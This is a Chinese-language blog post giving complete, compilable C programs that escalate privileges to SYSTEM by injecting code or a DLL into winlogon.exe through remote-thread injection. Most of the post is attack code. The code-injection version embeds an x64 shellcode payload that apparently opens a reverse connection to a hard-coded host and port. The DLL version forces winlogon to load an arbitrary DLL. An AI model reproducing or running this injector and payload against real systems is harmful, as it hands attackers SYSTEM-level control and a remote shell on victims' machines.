通过code&dll注入提权到SYSTEM

简介

在bypassUac后提权到SYSTEM权限的方式有很多种，而本文介绍的这种可以称之为最经典的一种，本质上这是一种代码注入技术，但是由于在宿主进程创建线程，那么该线程会继承宿主线程的权限，由于session0的隔离，我们需要寻找一个和用户处于同一session的system权限进程，然后把代码注入并创建远程线程，那我们就取得了以该进程权限执行的线程或进程。

提权流程

1. 寻找system权限用户session进程

2. 打开该进程句柄

3. 写入代码或dll路径

4. 创建远程线程

代码实现

代码延用经典远程线程注入。

通常winlogon进程就处于用户同一session，而且是system权限的，这样的进程可以通过任务管理器查看。

• code injection

#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
char shellcode[] = (
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xba\x80\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5");

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}

int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"winlogon.exe"));
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
    return 0;
}

• dll injection

#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}
char path[] = "C:\\Users\\Black Sheep\\source\\repos\\CreateRemoteThread\\x64\\Release\\TestDll.dll";

int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"winlogon.exe"));
    
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
    LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
    return 0;
}

LINKS

CreateRemoteThreadidiotc4t's blog